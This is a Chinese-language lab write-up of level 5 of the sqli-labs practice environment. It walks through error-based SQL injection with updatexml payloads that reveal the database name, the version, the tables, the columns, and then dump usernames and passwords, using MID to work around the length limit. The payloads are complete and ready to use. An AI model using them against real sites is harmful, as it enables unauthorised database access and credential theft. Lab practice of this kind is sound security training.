sqli 第五关(不用sqlmap)

1.探测是否存在sql注入漏洞,是什么漏洞

发现在?id=1'时有报错显示,判断为字符型同时后面还有多于的'用--+注释掉即可

2.探测有多少列(order by)

发现有3列

3.探测是否存在显性的列(?id=-1' union select 1,2,3 --+)这里union前面id必须为不存在的

没有回显列,说明不能像前四道一样,但观察到有报错回显,应该可以用报错注入试试

先爆当前数据库以及版本,5版本以上用information_semcha找当前数据库的table_name,

找到table_name后找column_name

找到列之后就可以出数据了

4.构造payload

?id=-1' and updatexml(1,concat("~",(SELECT database()),0x7e),1) --+ (0x7e就是~)

找到当前是security库

?id=-1' and updatexml(1,concat("~",(SELECT version()),0x7e),1) --+

版本是5.0版本以上,也就是有indormation_schema数据库

?id=-1' and updatexml(1,concat("^" ,(select group_concat(table_name) from information_schema.tables where table_schema = 'security')),1)--+

看着很长,其实思路也一样,现在找到security库里有users表,开始爆字段

?id=-1' and updatexml(1,concat("^" ,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users')),1)--+

有username与password字段,开始探测数据

?id=-1' and updatexml(1,concat("~",(select group_concat(username,password) from users)),1)--+

发现写到一半没了?是被后台限制了,这里可以用MID来提取出来

?id=-1' and updatexml(1,concat("~",mid((select group_concat(username) from users),1,31)),1) --+

不断尝试,直至没有新数据出现,把username改成password就可以同理得到密码

至此,sqli第五关结束,第6关就是把id那里的'换成了",没有什么区别,这里就不说了